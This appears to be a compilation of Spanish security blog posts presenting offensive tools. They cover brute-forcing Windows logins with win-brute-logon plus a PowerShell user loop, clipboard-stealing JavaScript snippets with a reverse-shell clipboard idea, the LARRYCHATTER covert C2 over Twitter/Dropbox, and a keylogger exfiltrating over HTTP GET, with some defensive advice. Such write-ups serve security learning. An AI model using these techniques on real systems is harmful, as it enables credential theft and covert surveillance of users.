Crackear la contraseña de cualquier usuario de Windows sin ningún privilegio (cuenta de invitado incluida)

¿Quieres crackear la contraseña del administrador local de Windows con la cuenta de invitado o con otro usuario sin privilegios? Pues resulta que el API LogonUserW por defecto no implementa ningún bloqueo por intentos fallidos de login... consecuencia: Jean-Pierre Lesueur (@DarkCoderSc) nos demuestra con su herramienta win-brute-logon lo fácil que sería obtener por fuerza bruta las credenciales localmente, desde Windows XP hasta la última release de Windows 10 (1909).

Tenéis la herramienta en https://github.com/DarkCoderSc/win-brute-logon que además es multihilo y funciona tanto en 32 como en 64 bits.

Para la PoC al igual que en el repo de JP crearemos un usuario local administrador y otro normal:

C:\>net user pepito password1
Se ha completado el comando correctamente.

C:\>net localgroup administradores pepito /add
Se ha completado el comando correctamente.

C:\>net user fulanito /add
Se ha completado el comando correctamente.

C:\>net user fulanito 123456
Se ha completado el comando correctamente.


Como veis hemos usado dos contraseñas bastante predecibles, ambas incluidas en el diccionario de SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt.

Así que seleccionamos el usuario y el diccionario correspondiente y, si la contraseña no es lo suficientemente robusta, ocurre la magia:



Por defecto, el nombre de dominio es el valor designado por la variable de entorno %USERDOMAIN%, pero se uede especificar otro con la opción -d.

Y si por lo que sea no conoces el nombre de usuario puedes a probar con distintos usuarios con este sencillo Powershell:
$lista = Get-Content listadeusuarios.txt

Foreach ($usuario in $lista){
.\WinBruteLogon.exe -u $usuario -w 10k-most-common.txt
}

Lo sorprendente es que por defecto en Windows no implementa ningún bloqueo, así que es más que recomendable es configurarlo en secpol.msc:


Por supuesto no olvidar también deshabilitar la cuenta de invitado (si es que no la tenéis ya deshabilitada) y usar whitelisting de aplicaciones siempre que sea posible.

Clipboardme o cómo robar el contenido del portapapeles sólo con visitar una página maliciosa

Hasta no hace mucho todos lo navegadores usaban document.execCommand para todas las interacciones de las aplicaciones web con el portapapeles. Sin embargo, este método es síncrono por lo que la experiencia de usuario se veía muchas veces penalizada y por ello (y por otras razones pero por esa sobretodo) se desarrolló y empezó a usar una nueva API asíncrona Async Clipboard API.

Con esta API el texto se puede copiar silenciosa y automáticamente al portapapeles llamando a writeText(), sin solicitar permiso. Ejemplo:
<script>
navigator.clipboard.writeText('Malicious command to be copied');
</script>

Imaginaros qué tan peligroso puede ser que un usuario ejecute un código de portapapeles del tipo: windows+x, una shell reversa y ctrl+v. Y no hace falta ni presionar el enter, sólo un acceso directo...

Luego el texto se puede leer desde el portapapeles (aunque requiere permisos esta vez) llamando a readText(). Lo más sencillo:
<script>
navigator.clipboard.readText().then(clipText =>  document.write(clipText));
</script>

Como sabéis, los usuarios copian habitualmente información confidencial como contraseñas y detalles personales en el portapapeles, que luego puede leer cualquier página...

Pues bien, hoy traemos una herramienta de linux_choice llamada Clipboardme que (seguro lo habéis adivinado) crea una página HTTPS maliciosa para grabar estos "apetitosos" contenidos mediante Async Clipboard API y los envía a la máquina del atacante, en este caso mediante un túnel ngrok.

LARRYCHATTER: comunicaciones con el C&C encubiertas en redes sociales

APT29, al que se le relaciona con el gobierno ruso, es un grupo de los más avanzados y capaces que oculta su actividad comunicándose a través de canales encubiertos de redes sociales como Twitter o GitHub, así como servicios de almacenamiento en la nube, para transmitir comandos y extraer datos de redes comprometidas. Además mantiene un ciclo de desarrollo muy rápido para su malware, alterando rápidamente las herramientas para dificultar la detección, utiliza servidores comprometidos para la comunicación con el C2 e incluso monitoriza la actividad de la red para mantener el control sobre los sistemas.

En 2015, FireEye publicó un informe de HAMMERTOSS, el backdoor de este grupo que añade niveles y niveles de ofuscación y mimetiza sus comunicaciones para asemejarse el comportamiento de los usuarios legítimos y, 5 años después, el mismo inspiro al (creo) indio Upayan Saha para crear su (manteniendo las distancias) homónimo en Python3: LARRYCHATTER, una excelente PoC que demuestra la magia de los C2 sobre canales encubiertos en redes sociales, en este caso a través de Twitter y Dropbox como se muestra en el siguiente diagrama:

Como veis el operador del malware (CommandPost) va publicando en Twitter imágenes esteganográficas que luego el ordenador de la víctima con el implante lee y descifra para ejecutar los comandos pertinentes. Además ambos se mantienen sincronizados mediante el uso de THGA, que es básicamente un generador de cadenas pseudoaleatorio que hace que la predicción del handler del día siguiente sea muy difícil utilizando solo análisis estadístico. Posteriormente, utiliza Dropbox como medio para exfiltrar información.


De esta manera, nada tiene que estar hardcodeado en el lado del implante, lo que aumenta su resistencia a los takedowns de cuenta y garantiza la longevidad del implante en una máquina host.

Demo


Detecciones VT del implante



Proyecto: https://github.com/slaeryan/LARRYCHATTER

Un keylogger "didáctico" que manda las pulsaciones registradas en el equipo de la víctima mediante peticiones HTTP GET

Seguimos viendo código de herramientas para "hacer el mal" y hoy os traemos un keylogger muy sencillito de Hakan İlbiz que tiene la particularidad de enviar las pulsaciones de teclado mediante peticiones HTTP GET, de una manera algo tosca pero que nos podría servir para exfiltrar información (y sobretodo una buena manera de aprender código).


El proyecto acaba de empezar y sus características actuales son:
  • Escrito en C con llamadas al API Win32
  • Edición del registro para persistencia
  • Creación de peticiones HTTP para exfiltrar datos
  • Baja tasa de detección (7/71) en virustotal
  • Detección de pulsaciones de minúsculas
Para empezar a usarlo primero hay que modificar la IP en el archivo "connect.h" en la línea #define SERVER_IP "192.168.114.128", que es la ip a la que la herramienta intentará conectarse por HTTP para enviar las pulsaciones. Luego simplemente compilar mediante Visual Studio C++ (keylogoverhttp.sln).


Proyecto: https://github.com/pioneerhfy/keylogoverhttp